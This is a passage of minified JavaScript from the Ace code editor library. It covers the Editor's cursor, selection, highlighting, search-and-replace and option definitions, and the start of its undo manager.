pMode()&&this.renderer.adjustWrapLimit(),this.renderer.updateFull()):(this.selection=null,this.renderer.setSession(e)),this._signal(\"changeSession\",{session:e,oldSession:t}),this.curOp=null,t&&t._signal(\"changeEditor\",{oldEditor:this}),e&&e._signal(\"changeEditor\",{editor:this})},this.getSession=function(){return this.session},this.setValue=function(e,t){return this.session.doc.setValue(e),t?t==1?this.navigateFileEnd():t==-1&&this.navigateFileStart():this.selectAll(),e},this.getValue=function(){return this.session.getValue()},this.getSelection=function(){return this.selection},this.resize=function(e){this.renderer.onResize(e)},this.setTheme=function(e,t){this.renderer.setTheme(e,t)},this.getTheme=function(){return this.renderer.getTheme()},this.setStyle=function(e){this.renderer.setStyle(e)},this.unsetStyle=function(e){this.renderer.unsetStyle(e)},this.getFontSize=function(){return this.getOption(\"fontSize\")||i.computedStyle(this.container,\"fontSize\")},this.setFontSize=function(e){this.setOption(\"fontSize\",e)},this.$highlightBrackets=function(){this.session.$bracketHighlight&&(this.session.removeMarker(this.session.$bracketHighlight),this.session.$bracketHighlight=null);if(this.$highlightPending)return;var e=this;this.$highlightPending=!0,setTimeout(function(){e.$highlightPending=!1;var t=e.session;if(!t||!t.bgTokenizer)return;var n=t.findMatchingBracket(e.getCursorPosition());if(n)var r=new p(n.row,n.column,n.row,n.column+1);else if(t.$mode.getMatching)var r=t.$mode.getMatching(e.session);r&&(t.$bracketHighlight=t.addMarker(r,\"ace_bracket\",\"text\"))},50)},this.$highlightTags=function(){if(this.$highlightTagPending)return;var e=this;this.$highlightTagPending=!0,setTimeout(function(){e.$highlightTagPending=!1;var t=e.session;if(!t||!t.bgTokenizer)return;var n=e.getCursorPosition(),r=new y(e.session,n.row,n.column),i=r.getCurrentToken();if(!i||!/\\b(?:tag-open|tag-name)/.test(i.type)){t.removeMarker(t.$tagHighlight),t.$tagHighlight=null;return}if(i.type.indexOf(\"tag-open\")!=-1){i=r.stepForward();if(!i)return}var s=i.value,o=0,u=r.stepBackward();if(u.value==\"<\"){do u=i,i=r.stepForward(),i&&i.value===s&&i.type.indexOf(\"tag-name\")!==-1&&(u.value===\"<\"?o++:u.value===\"</\"&&o--);while(i&&o>=0)}else{do i=u,u=r.stepBackward(),i&&i.value===s&&i.type.indexOf(\"tag-name\")!==-1&&(u.value===\"<\"?o++:u.value===\"</\"&&o--);while(u&&o<=0);r.stepForward()}if(!i){t.removeMarker(t.$tagHighlight),t.$tagHighlight=null;return}var a=r.getCurrentTokenRow(),f=r.getCurrentTokenColumn(),l=new p(a,f,a,f+i.value.length);t.$tagHighlight&&l.compareRange(t.$backMarkers[t.$tagHighlight].range)!==0&&(t.removeMarker(t.$tagHighlight),t.$tagHighlight=null),l&&!t.$tagHighlight&&(t.$tagHighlight=t.addMarker(l,\"ace_bracket\",\"text\"))},50)},this.focus=function(){var e=this;setTimeout(function(){e.textInput.focus()}),this.textInput.focus()},this.isFocused=function(){return this.textInput.isFocused()},this.blur=function(){this.textInput.blur()},this.onFocus=function(e){if(this.$isFocused)return;this.$isFocused=!0,this.renderer.showCursor(),this.renderer.visualizeFocus(),this._emit(\"focus\",e)},this.onBlur=function(e){if(!this.$isFocused)return;this.$isFocused=!1,this.renderer.hideCursor(),this.renderer.visualizeBlur(),this._emit(\"blur\",e)},this.$cursorChange=function(){this.renderer.updateCursor()},this.onDocumentChange=function(e){var t=this.session.$useWrapMode,n=e.start.row==e.end.row?e.end.row:Infinity;this.renderer.updateLines(e.start.row,n,t),this._signal(\"change\",e),this.$cursorChange(),this.$updateHighlightActiveLine()},this.onTokenizerUpdate=function(e){var t=e.data;this.renderer.updateLines(t.first,t.last)},this.onScrollTopChange=function(){this.renderer.scrollToY(this.session.getScrollTop())},this.onScrollLeftChange=function(){this.renderer.scrollToX(this.session.getScrollLeft())},this.onCursorChange=function(){this.$cursorChange(),this.$blockScrolling||(g.warn(\"Automatically scrolling cursor into view after selection change\",\"this will be disabled in the next version\",\"set editor.$blockScrolling = Infinity to disable this message\"),this.renderer.scrollCursorIntoView()),this.$highlightBrackets(),this.$highlightTags(),this.$updateHighlightActiveLine(),this._signal(\"changeSelection\")},this.$updateHighlightActiveLine=function(){var e=this.getSession(),t;if(this.$highlightActiveLine){if(this.$selectionStyle!=\"line\"||!this.selection.isMultiLine())t=this.getCursorPosition();this.renderer.$maxLines&&this.session.getLength()===1&&!(this.renderer.$minLines>1)&&(t=!1)}if(e.$highlightLineMarker&&!t)e.removeMarker(e.$highlightLineMarker.id),e.$highlightLineMarker=null;else if(!e.$highlightLineMarker&&t){var n=new p(t.row,t.column,t.row,Infinity);n.id=e.addMarker(n,\"ace_active-line\",\"screenLine\"),e.$highlightLineMarker=n}else t&&(e.$highlightLineMarker.start.row=t.row,e.$highlightLineMarker.end.row=t.row,e.$highlightLineMarker.start.column=t.column,e._signal(\"changeBackMarker\"))},this.onSelectionChange=function(e){var t=this.session;t.$selectionMarker&&t.removeMarker(t.$selectionMarker),t.$selectionMarker=null;if(!this.selection.isEmpty()){var n=this.selection.getRange(),r=this.getSelectionStyle();t.$selectionMarker=t.addMarker(n,\"ace_selection\",r)}else this.$updateHighlightActiveLine();var i=this.$highlightSelectedWord&&this.$getSelectionHighLightRegexp();this.session.highlight(i),this._signal(\"changeSelection\")},this.$getSelectionHighLightRegexp=function(){var e=this.session,t=this.getSelectionRange();if(t.isEmpty()||t.isMultiLine())return;var n=t.start.column-1,r=t.end.column+1,i=e.getLine(t.start.row),s=i.length,o=i.substring(Math.max(n,0),Math.min(r,s));if(n>=0&&/^[\\w\\d]/.test(o)||r<=s&&/[\\w\\d]$/.test(o))return;o=i.substring(t.start.column,t.end.column);if(!/^[\\w\\d]+$/.test(o))return;var u=this.$search.$assembleRegExp({wholeWord:!0,caseSensitive:!0,needle:o});return u},this.onChangeFrontMarker=function(){this.renderer.updateFrontMarkers()},this.onChangeBackMarker=function(){this.renderer.updateBackMarkers()},this.onChangeBreakpoint=function(){this.renderer.updateBreakpoints()},this.onChangeAnnotation=function(){this.renderer.setAnnotations(this.session.getAnnotations())},this.onChangeMode=function(e){this.renderer.updateText(),this._emit(\"changeMode\",e)},this.onChangeWrapLimit=function(){this.renderer.updateFull()},this.onChangeWrapMode=function(){this.renderer.onResize(!0)},this.onChangeFold=function(){this.$updateHighlightActiveLine(),this.renderer.updateFull()},this.getSelectedText=function(){return this.session.getTextRange(this.getSelectionRange())},this.getCopyText=function(){var e=this.getSelectedText();return this._signal(\"copy\",e),e},this.onCopy=function(){this.commands.exec(\"copy\",this)},this.onCut=function(){this.commands.exec(\"cut\",this)},this.onPaste=function(e,t){var n={text:e,event:t};this.commands.exec(\"paste\",this,n)},this.$handlePaste=function(e){typeof e==\"string\"&&(e={text:e}),this._signal(\"paste\",e);var t=e.text;if(!this.inMultiSelectMode||this.inVirtualSelectionMode)this.insert(t);else{var n=t.split(/\\r\\n|\\r|\\n/),r=this.selection.rangeList.ranges;if(n.length>r.length||n.length<2||!n[1])return this.commands.exec(\"insertstring\",this,t);for(var i=r.length;i--;){var s=r[i];s.isEmpty()||this.session.remove(s),this.session.insert(s.start,n[i])}}},this.execCommand=function(e,t){return this.commands.exec(e,this,t)},this.insert=function(e,t){var n=this.session,r=n.getMode(),i=this.getCursorPosition();if(this.getBehavioursEnabled()&&!t){var s=r.transformAction(n.getState(i.row),\"insertion\",this,n,e);s&&(e!==s.text&&(this.session.mergeUndoDeltas=!1,this.$mergeNextCommand=!1),e=s.text)}e==\"\t\"&&(e=this.session.getTabString());if(!this.selection.isEmpty()){var o=this.getSelectionRange();i=this.session.remove(o),this.clearSelection()}else if(this.session.getOverwrite()){var o=new p.fromPoints(i,i);o.end.column+=e.length,this.session.remove(o)}if(e==\"\\n\"||e==\"\\r\\n\"){var u=n.getLine(i.row);if(i.column>u.search(/\\S|$/)){var a=u.substr(i.column).search(/\\S|$/);n.doc.removeInLine(i.row,i.column,i.column+a)}}this.clearSelection();var f=i.column,l=n.getState(i.row),u=n.getLine(i.row),c=r.checkOutdent(l,u,e),h=n.insert(i,e);s&&s.selection&&(s.selection.length==2?this.selection.setSelectionRange(new p(i.row,f+s.selection[0],i.row,f+s.selection[1])):this.selection.setSelectionRange(new p(i.row+s.selection[0],s.selection[1],i.row+s.selection[2],s.selection[3])));if(n.getDocument().isNewLine(e)){var d=r.getNextLineIndent(l,u.slice(0,i.column),n.getTabString());n.insert({row:i.row+1,column:0},d)}c&&r.autoOutdent(l,n,i.row)},this.onTextInput=function(e){this.keyBinding.onTextInput(e)},this.onCommandKey=function(e,t,n){this.keyBinding.onCommandKey(e,t,n)},this.setOverwrite=function(e){this.session.setOverwrite(e)},this.getOverwrite=function(){return this.session.getOverwrite()},this.toggleOverwrite=function(){this.session.toggleOverwrite()},this.setScrollSpeed=function(e){this.setOption(\"scrollSpeed\",e)},this.getScrollSpeed=function(){return this.getOption(\"scrollSpeed\")},this.setDragDelay=function(e){this.setOption(\"dragDelay\",e)},this.getDragDelay=function(){return this.getOption(\"dragDelay\")},this.setSelectionStyle=function(e){this.setOption(\"selectionStyle\",e)},this.getSelectionStyle=function(){return this.getOption(\"selectionStyle\")},this.setHighlightActiveLine=function(e){this.setOption(\"highlightActiveLine\",e)},this.getHighlightActiveLine=function(){return this.getOption(\"highlightActiveLine\")},this.setHighlightGutterLine=function(e){this.setOption(\"highlightGutterLine\",e)},this.getHighlightGutterLine=function(){return this.getOption(\"highlightGutterLine\")},this.setHighlightSelectedWord=function(e){this.setOption(\"highlightSelectedWord\",e)},this.getHighlightSelectedWord=function(){return this.$highlightSelectedWord},this.setAnimatedScroll=function(e){this.renderer.setAnimatedScroll(e)},this.getAnimatedScroll=function(){return this.renderer.getAnimatedScroll()},this.setShowInvisibles=function(e){this.renderer.setShowInvisibles(e)},this.getShowInvisibles=function(){return this.renderer.getShowInvisibles()},this.setDisplayIndentGuides=function(e){this.renderer.setDisplayIndentGuides(e)},this.getDisplayIndentGuides=function(){return this.renderer.getDisplayIndentGuides()},this.setShowPrintMargin=function(e){this.renderer.setShowPrintMargin(e)},this.getShowPrintMargin=function(){return this.renderer.getShowPrintMargin()},this.setPrintMarginColumn=function(e){this.renderer.setPrintMarginColumn(e)},this.getPrintMarginColumn=function(){return this.renderer.getPrintMarginColumn()},this.setReadOnly=function(e){this.setOption(\"readOnly\",e)},this.getReadOnly=function(){return this.getOption(\"readOnly\")},this.setBehavioursEnabled=function(e){this.setOption(\"behavioursEnabled\",e)},this.getBehavioursEnabled=function(){return this.getOption(\"behavioursEnabled\")},this.setWrapBehavioursEnabled=function(e){this.setOption(\"wrapBehavioursEnabled\",e)},this.getWrapBehavioursEnabled=function(){return this.getOption(\"wrapBehavioursEnabled\")},this.setShowFoldWidgets=function(e){this.setOption(\"showFoldWidgets\",e)},this.getShowFoldWidgets=function(){return this.getOption(\"showFoldWidgets\")},this.setFadeFoldWidgets=function(e){this.setOption(\"fadeFoldWidgets\",e)},this.getFadeFoldWidgets=function(){return this.getOption(\"fadeFoldWidgets\")},this.remove=function(e){this.selection.isEmpty()&&(e==\"left\"?this.selection.selectLeft():this.selection.selectRight());var t=this.getSelectionRange();if(this.getBehavioursEnabled()){var n=this.session,r=n.getState(t.start.row),i=n.getMode().transformAction(r,\"deletion\",this,n,t);if(t.end.column===0){var s=n.getTextRange(t);if(s[s.length-1]==\"\\n\"){var o=n.getLine(t.end.row);/^\\s+$/.test(o)&&(t.end.column=o.length)}}i&&(t=i)}this.session.remove(t),this.clearSelection()},this.removeWordRight=function(){this.selection.isEmpty()&&this.selection.selectWordRight(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeWordLeft=function(){this.selection.isEmpty()&&this.selection.selectWordLeft(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineStart=function(){this.selection.isEmpty()&&this.selection.selectLineStart(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineEnd=function(){this.selection.isEmpty()&&this.selection.selectLineEnd();var e=this.getSelectionRange();e.start.column==e.end.column&&e.start.row==e.end.row&&(e.end.column=0,e.end.row++),this.session.remove(e),this.clearSelection()},this.splitLine=function(){this.selection.isEmpty()||(this.session.remove(this.getSelectionRange()),this.clearSelection());var e=this.getCursorPosition();this.insert(\"\\n\"),this.moveCursorToPosition(e)},this.transposeLetters=function(){if(!this.selection.isEmpty())return;var e=this.getCursorPosition(),t=e.column;if(t===0)return;var n=this.session.getLine(e.row),r,i;t<n.length?(r=n.charAt(t)+n.charAt(t-1),i=new p(e.row,t-1,e.row,t+1)):(r=n.charAt(t-1)+n.charAt(t-2),i=new p(e.row,t-2,e.row,t)),this.session.replace(i,r)},this.toLowerCase=function(){var e=this.getSelectionRange();this.selection.isEmpty()&&this.selection.selectWord();var t=this.getSelectionRange(),n=this.session.getTextRange(t);this.session.replace(t,n.toLowerCase()),this.selection.setSelectionRange(e)},this.toUpperCase=function(){var e=this.getSelectionRange();this.selection.isEmpty()&&this.selection.selectWord();var t=this.getSelectionRange(),n=this.session.getTextRange(t);this.session.replace(t,n.toUpperCase()),this.selection.setSelectionRange(e)},this.indent=function(){var e=this.session,t=this.getSelectionRange();if(t.start.row<t.end.row){var n=this.$getSelectedRows();e.indentRows(n.first,n.last,\"\t\");return}if(t.start.column<t.end.column){var r=e.getTextRange(t);if(!/^\\s+$/.test(r)){var n=this.$getSelectedRows();e.indentRows(n.first,n.last,\"\t\");return}}var i=e.getLine(t.start.row),o=t.start,u=e.getTabSize(),a=e.documentToScreenColumn(o.row,o.column);if(this.session.getUseSoftTabs())var f=u-a%u,l=s.stringRepeat(\" \",f);else{var f=a%u;while(i[t.start.column]==\" \"&&f)t.start.column--,f--;this.selection.setSelectionRange(t),l=\"\t\"}return this.insert(l)},this.blockIndent=function(){var e=this.$getSelectedRows();this.session.indentRows(e.first,e.last,\"\t\")},this.blockOutdent=function(){var e=this.session.getSelection();this.session.outdentRows(e.getRange())},this.sortLines=function(){var e=this.$getSelectedRows(),t=this.session,n=[];for(i=e.first;i<=e.last;i++)n.push(t.getLine(i));n.sort(function(e,t){return e.toLowerCase()<t.toLowerCase()?-1:e.toLowerCase()>t.toLowerCase()?1:0});var r=new p(0,0,0,0);for(var i=e.first;i<=e.last;i++){var s=t.getLine(i);r.start.row=i,r.end.row=i,r.end.column=s.length,t.replace(r,n[i-e.first])}},this.toggleCommentLines=function(){var e=this.session.getState(this.getCursorPosition().row),t=this.$getSelectedRows();this.session.getMode().toggleCommentLines(e,this.session,t.first,t.last)},this.toggleBlockComment=function(){var e=this.getCursorPosition(),t=this.session.getState(e.row),n=this.getSelectionRange();this.session.getMode().toggleBlockComment(t,this.session,n,e)},this.getNumberAt=function(e,t){var n=/[\\-]?[0-9]+(?:\\.[0-9]+)?/g;n.lastIndex=0;var r=this.session.getLine(e);while(n.lastIndex<t){var i=n.exec(r);if(i.index<=t&&i.index+i[0].length>=t){var s={value:i[0],start:i.index,end:i.index+i[0].length};return s}}return null},this.modifyNumber=function(e){var t=this.selection.getCursor().row,n=this.selection.getCursor().column,r=new p(t,n-1,t,n),i=this.session.getTextRange(r);if(!isNaN(parseFloat(i))&&isFinite(i)){var s=this.getNumberAt(t,n);if(s){var o=s.value.indexOf(\".\")>=0?s.start+s.value.indexOf(\".\")+1:s.end,u=s.start+s.value.length-o,a=parseFloat(s.value);a*=Math.pow(10,u),o!==s.end&&n<o?e*=Math.pow(10,s.end-n-1):e*=Math.pow(10,s.end-n),a+=e,a/=Math.pow(10,u);var f=a.toFixed(u),l=new p(t,s.start,t,s.end);this.session.replace(l,f),this.moveCursorTo(t,Math.max(s.start+1,n+f.length-s.value.length))}}},this.removeLines=function(){var e=this.$getSelectedRows();this.session.removeFullLines(e.first,e.last),this.clearSelection()},this.duplicateSelection=function(){var e=this.selection,t=this.session,n=e.getRange(),r=e.isBackwards();if(n.isEmpty()){var i=n.start.row;t.duplicateLines(i,i)}else{var s=r?n.start:n.end,o=t.insert(s,t.getTextRange(n),!1);n.start=s,n.end=o,e.setSelectionRange(n,r)}},this.moveLinesDown=function(){this.$moveLines(1,!1)},this.moveLinesUp=function(){this.$moveLines(-1,!1)},this.moveText=function(e,t,n){return this.session.moveText(e,t,n)},this.copyLinesUp=function(){this.$moveLines(-1,!0)},this.copyLinesDown=function(){this.$moveLines(1,!0)},this.$moveLines=function(e,t){var n,r,i=this.selection;if(!i.inMultiSelectMode||this.inVirtualSelectionMode){var s=i.toOrientedRange();n=this.$getSelectedRows(s),r=this.session.$moveLines(n.first,n.last,t?0:e),t&&e==-1&&(r=0),s.moveBy(r,0),i.fromOrientedRange(s)}else{var o=i.rangeList.ranges;i.rangeList.detach(this.session),this.inVirtualSelectionMode=!0;var u=0,a=0,f=o.length;for(var l=0;l<f;l++){var c=l;o[l].moveBy(u,0),n=this.$getSelectedRows(o[l]);var h=n.first,p=n.last;while(++l<f){a&&o[l].moveBy(a,0);var d=this.$getSelectedRows(o[l]);if(t&&d.first!=p)break;if(!t&&d.first>p+1)break;p=d.last}l--,u=this.session.$moveLines(h,p,t?0:e),t&&e==-1&&(c=l+1);while(c<=l)o[c].moveBy(u,0),c++;t||(u=0),a+=u}i.fromOrientedRange(i.ranges[0]),i.rangeList.attach(this.session),this.inVirtualSelectionMode=!1}},this.$getSelectedRows=function(e){return e=(e||this.getSelectionRange()).collapseRows(),{first:this.session.getRowFoldStart(e.start.row),last:this.session.getRowFoldEnd(e.end.row)}},this.onCompositionStart=function(e){this.renderer.showComposition(this.getCursorPosition())},this.onCompositionUpdate=function(e){this.renderer.setCompositionText(e)},this.onCompositionEnd=function(){this.renderer.hideComposition()},this.getFirstVisibleRow=function(){return this.renderer.getFirstVisibleRow()},this.getLastVisibleRow=function(){return this.renderer.getLastVisibleRow()},this.isRowVisible=function(e){return e>=this.getFirstVisibleRow()&&e<=this.getLastVisibleRow()},this.isRowFullyVisible=function(e){return e>=this.renderer.getFirstFullyVisibleRow()&&e<=this.renderer.getLastFullyVisibleRow()},this.$getVisibleRowCount=function(){return this.renderer.getScrollBottomRow()-this.renderer.getScrollTopRow()+1},this.$moveByPage=function(e,t){var n=this.renderer,r=this.renderer.layerConfig,i=e*Math.floor(r.height/r.lineHeight);this.$blockScrolling++,t===!0?this.selection.$moveSelection(function(){this.moveCursorBy(i,0)}):t===!1&&(this.selection.moveCursorBy(i,0),this.selection.clearSelection()),this.$blockScrolling--;var s=n.scrollTop;n.scrollBy(0,i*r.lineHeight),t!=null&&n.scrollCursorIntoView(null,.5),n.animateScrolling(s)},this.selectPageDown=function(){this.$moveByPage(1,!0)},this.selectPageUp=function(){this.$moveByPage(-1,!0)},this.gotoPageDown=function(){this.$moveByPage(1,!1)},this.gotoPageUp=function(){this.$moveByPage(-1,!1)},this.scrollPageDown=function(){this.$moveByPage(1)},this.scrollPageUp=function(){this.$moveByPage(-1)},this.scrollToRow=function(e){this.renderer.scrollToRow(e)},this.scrollToLine=function(e,t,n,r){this.renderer.scrollToLine(e,t,n,r)},this.centerSelection=function(){var e=this.getSelectionRange(),t={row:Math.floor(e.start.row+(e.end.row-e.start.row)/2),column:Math.floor(e.start.column+(e.end.column-e.start.column)/2)};this.renderer.alignCursor(t,.5)},this.getCursorPosition=function(){return this.selection.getCursor()},this.getCursorPositionScreen=function(){return this.session.documentToScreenPosition(this.getCursorPosition())},this.getSelectionRange=function(){return this.selection.getRange()},this.selectAll=function(){this.$blockScrolling+=1,this.selection.selectAll(),this.$blockScrolling-=1},this.clearSelection=function(){this.selection.clearSelection()},this.moveCursorTo=function(e,t){this.selection.moveCursorTo(e,t)},this.moveCursorToPosition=function(e){this.selection.moveCursorToPosition(e)},this.jumpToMatching=function(e,t){var n=this.getCursorPosition(),r=new y(this.session,n.row,n.column),i=r.getCurrentToken(),s=i||r.stepForward();if(!s)return;var o,u=!1,a={},f=n.column-s.start,l,c={\")\":\"(\",\"(\":\"(\",\"]\":\"[\",\"[\":\"[\",\"{\":\"{\",\"}\":\"{\"};do{if(s.value.match(/[{}()\\[\\]]/g))for(;f<s.value.length&&!u;f++){if(!c[s.value[f]])continue;l=c[s.value[f]]+\".\"+s.type.replace(\"rparen\",\"lparen\"),isNaN(a[l])&&(a[l]=0);switch(s.value[f]){case\"(\":case\"[\":case\"{\":a[l]++;break;case\")\":case\"]\":case\"}\":a[l]--,a[l]===-1&&(o=\"bracket\",u=!0)}}else s&&s.type.indexOf(\"tag-name\")!==-1&&(isNaN(a[s.value])&&(a[s.value]=0),i.value===\"<\"?a[s.value]++:i.value===\"</\"&&a[s.value]--,a[s.value]===-1&&(o=\"tag\",u=!0));u||(i=s,s=r.stepForward(),f=0)}while(s&&!u);if(!o)return;var h,d;if(o===\"bracket\"){h=this.session.getBracketRange(n);if(!h){h=new p(r.getCurrentTokenRow(),r.getCurrentTokenColumn()+f-1,r.getCurrentTokenRow(),r.getCurrentTokenColumn()+f-1),d=h.start;if(t||d.row===n.row&&Math.abs(d.column-n.column)<2)h=this.session.getBracketRange(d)}}else if(o===\"tag\"){if(!s||s.type.indexOf(\"tag-name\")===-1)return;var v=s.value;h=new p(r.getCurrentTokenRow(),r.getCurrentTokenColumn()-2,r.getCurrentTokenRow(),r.getCurrentTokenColumn()-2);if(h.compare(n.row,n.column)===0){u=!1;do s=i,i=r.stepBackward(),i&&(i.type.indexOf(\"tag-close\")!==-1&&h.setEnd(r.getCurrentTokenRow(),r.getCurrentTokenColumn()+1),s.value===v&&s.type.indexOf(\"tag-name\")!==-1&&(i.value===\"<\"?a[v]++:i.value===\"</\"&&a[v]--,a[v]===0&&(u=!0)));while(i&&!u)}s&&s.type.indexOf(\"tag-name\")&&(d=h.start,d.row==n.row&&Math.abs(d.column-n.column)<2&&(d=h.end))}d=h&&h.cursor||d,d&&(e?h&&t?this.selection.setRange(h):h&&h.isEqual(this.getSelectionRange())?this.clearSelection():this.selection.selectTo(d.row,d.column):this.selection.moveTo(d.row,d.column))},this.gotoLine=function(e,t,n){this.selection.clearSelection(),this.session.unfold({row:e-1,column:t||0}),this.$blockScrolling+=1,this.exitMultiSelectMode&&this.exitMultiSelectMode(),this.moveCursorTo(e-1,t||0),this.$blockScrolling-=1,this.isRowFullyVisible(e-1)||this.scrollToLine(e-1,!0,n)},this.navigateTo=function(e,t){this.selection.moveTo(e,t)},this.navigateUp=function(e){if(this.selection.isMultiLine()&&!this.selection.isBackwards()){var t=this.selection.anchor.getPosition();return this.moveCursorToPosition(t)}this.selection.clearSelection(),this.selection.moveCursorBy(-e||-1,0)},this.navigateDown=function(e){if(this.selection.isMultiLine()&&this.selection.isBackwards()){var t=this.selection.anchor.getPosition();return this.moveCursorToPosition(t)}this.selection.clearSelection(),this.selection.moveCursorBy(e||1,0)},this.navigateLeft=function(e){if(!this.selection.isEmpty()){var t=this.getSelectionRange().start;this.moveCursorToPosition(t)}else{e=e||1;while(e--)this.selection.moveCursorLeft()}this.clearSelection()},this.navigateRight=function(e){if(!this.selection.isEmpty()){var t=this.getSelectionRange().end;this.moveCursorToPosition(t)}else{e=e||1;while(e--)this.selection.moveCursorRight()}this.clearSelection()},this.navigateLineStart=function(){this.selection.moveCursorLineStart(),this.clearSelection()},this.navigateLineEnd=function(){this.selection.moveCursorLineEnd(),this.clearSelection()},this.navigateFileEnd=function(){this.selection.moveCursorFileEnd(),this.clearSelection()},this.navigateFileStart=function(){this.selection.moveCursorFileStart(),this.clearSelection()},this.navigateWordRight=function(){this.selection.moveCursorWordRight(),this.clearSelection()},this.navigateWordLeft=function(){this.selection.moveCursorWordLeft(),this.clearSelection()},this.replace=function(e,t){t&&this.$search.set(t);var n=this.$search.find(this.session),r=0;return n?(this.$tryReplace(n,e)&&(r=1),n!==null&&(this.selection.setSelectionRange(n),this.renderer.scrollSelectionIntoView(n.start,n.end)),r):r},this.replaceAll=function(e,t){t&&this.$search.set(t);var n=this.$search.findAll(this.session),r=0;if(!n.length)return r;this.$blockScrolling+=1;var i=this.getSelectionRange();this.selection.moveTo(0,0);for(var s=n.length-1;s>=0;--s)this.$tryReplace(n[s],e)&&r++;return this.selection.setSelectionRange(i),this.$blockScrolling-=1,r},this.$tryReplace=function(e,t){var n=this.session.getTextRange(e);return t=this.$search.replace(n,t),t!==null?(e.end=this.session.replace(e,t),e):null},this.getLastSearchOptions=function(){return this.$search.getOptions()},this.find=function(e,t,n){t||(t={}),typeof e==\"string\"||e instanceof RegExp?t.needle=e:typeof e==\"object\"&&r.mixin(t,e);var i=this.selection.getRange();t.needle==null&&(e=this.session.getTextRange(i)||this.$search.$options.needle,e||(i=this.session.getWordRange(i.start.row,i.start.column),e=this.session.getTextRange(i)),this.$search.set({needle:e})),this.$search.set(t),t.start||this.$search.set({start:i});var s=this.$search.find(this.session);if(t.preventScroll)return s;if(s)return this.revealRange(s,n),s;t.backwards?i.start=i.end:i.end=i.start,this.selection.setRange(i)},this.findNext=function(e,t){this.find({skipCurrent:!0,backwards:!1},e,t)},this.findPrevious=function(e,t){this.find(e,{skipCurrent:!0,backwards:!0},t)},this.revealRange=function(e,t){this.$blockScrolling+=1,this.session.unfold(e),this.selection.setSelectionRange(e),this.$blockScrolling-=1;var n=this.renderer.scrollTop;this.renderer.scrollSelectionIntoView(e.start,e.end,.5),t!==!1&&this.renderer.animateScrolling(n)},this.undo=function(){this.$blockScrolling++,this.session.getUndoManager().undo(),this.$blockScrolling--,this.renderer.scrollCursorIntoView(null,.5)},this.redo=function(){this.$blockScrolling++,this.session.getUndoManager().redo(),this.$blockScrolling--,this.renderer.scrollCursorIntoView(null,.5)},this.destroy=function(){this.renderer.destroy(),this._signal(\"destroy\",this),this.session&&this.session.destroy()},this.setAutoScrollEditorIntoView=function(e){if(!e)return;var t,n=this,r=!1;this.$scrollAnchor||(this.$scrollAnchor=document.createElement(\"div\"));var i=this.$scrollAnchor;i.style.cssText=\"position:absolute\",this.container.insertBefore(i,this.container.firstChild);var s=this.on(\"changeSelection\",function(){r=!0}),o=this.renderer.on(\"beforeRender\",function(){r&&(t=n.renderer.container.getBoundingClientRect())}),u=this.renderer.on(\"afterRender\",function(){if(r&&t&&(n.isFocused()||n.searchBox&&n.searchBox.isFocused())){var e=n.renderer,s=e.$cursorLayer.$pixelPos,o=e.layerConfig,u=s.top-o.offset;s.top>=0&&u+t.top<0?r=!0:s.top<o.height&&s.top+t.top+o.lineHeight>window.innerHeight?r=!1:r=null,r!=null&&(i.style.top=u+\"px\",i.style.left=s.left+\"px\",i.style.height=o.lineHeight+\"px\",i.scrollIntoView(r)),r=t=null}});this.setAutoScrollEditorIntoView=function(e){if(e)return;delete this.setAutoScrollEditorIntoView,this.removeEventListener(\"changeSelection\",s),this.renderer.removeEventListener(\"afterRender\",u),this.renderer.removeEventListener(\"beforeRender\",o)}},this.$resetCursorStyle=function(){var e=this.$cursorStyle||\"ace\",t=this.renderer.$cursorLayer;if(!t)return;t.setSmoothBlinking(/smooth/.test(e)),t.isBlinking=!this.$readOnly&&e!=\"wide\",i.setCssClass(t.element,\"ace_slim-cursors\",/slim/.test(e))}}).call(b.prototype),g.defineOptions(b.prototype,\"editor\",{selectionStyle:{set:function(e){this.onSelectionChange(),this._signal(\"changeSelectionStyle\",{data:e})},initialValue:\"line\"},highlightActiveLine:{set:function(){this.$updateHighlightActiveLine()},initialValue:!0},highlightSelectedWord:{set:function(e){this.$onSelectionChange()},initialValue:!0},readOnly:{set:function(e){this.$resetCursorStyle()},initialValue:!1},cursorStyle:{set:function(e){this.$resetCursorStyle()},values:[\"ace\",\"slim\",\"smooth\",\"wide\"],initialValue:\"ace\"},mergeUndoDeltas:{values:[!1,!0,\"always\"],initialValue:!0},behavioursEnabled:{initialValue:!0},wrapBehavioursEnabled:{initialValue:!0},autoScrollEditorIntoView:{set:function(e){this.setAutoScrollEditorIntoView(e)}},hScrollBarAlwaysVisible:\"renderer\",vScrollBarAlwaysVisible:\"renderer\",highlightGutterLine:\"renderer\",animatedScroll:\"renderer\",showInvisibles:\"renderer\",showPrintMargin:\"renderer\",printMarginColumn:\"renderer\",printMargin:\"renderer\",fadeFoldWidgets:\"renderer\",showFoldWidgets:\"renderer\",showLineNumbers:\"renderer\",showGutter:\"renderer\",displayIndentGuides:\"renderer\",fontSize:\"renderer\",fontFamily:\"renderer\",maxLines:\"renderer\",minLines:\"renderer\",scrollPastEnd:\"renderer\",fixedWidthGutter:\"renderer\",theme:\"renderer\",scrollSpeed:\"$mouseHandler\",dragDelay:\"$mouseHandler\",dragEnabled:\"$mouseHandler\",focusTimout:\"$mouseHandler\",tooltipFollowsMouse:\"$mouseHandler\",firstLineNumber:\"session\",overwrite:\"session\",newLineMode:\"session\",useWorker:\"session\",useSoftTabs:\"session\",tabSize:\"session\",wrap:\"session\",indentedSoftWrap:\"session\",foldStyle:\"session\",mode:\"session\"}),t.Editor=b}),ace.define(\"ace/undomanager\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(){this.reset()};(function(){function e(e){return{action:e.action,start:e.start,end:e.end,lines:e.lines.length==1?null:e.lines,text:e.lines.length==1?e.lines[0]:null}}function t(e){return{action:e.action,start:e.start,end:e.end,lines:e.lines||[e.text]}}function n(e,t){var n=new Array(e.length);for(var r=0;r<e.length;r++){var i=e[r],s={group:i.group,deltas:new Array(i.length)};for(var o=0;o<i.deltas.length;o++){var u=i.deltas[o];s.deltas[o]=t(u)}n[r]=s}return n}this.execute=function(e){var t=e.args[0];this.$doc=e.args[1],e.merge&&this.hasUndo()&&(this.dirtyCounter--,t=this.$undoStack.pop().concat(t)),this.$undoStack.push(t),this.$redoStack=[],this.dirtyCounter<0&&(this.dirtyCounter=NaN),this.dirtyCounter++},this.undo=function(e){var t=this.$undoStack.pop(),n=null;return 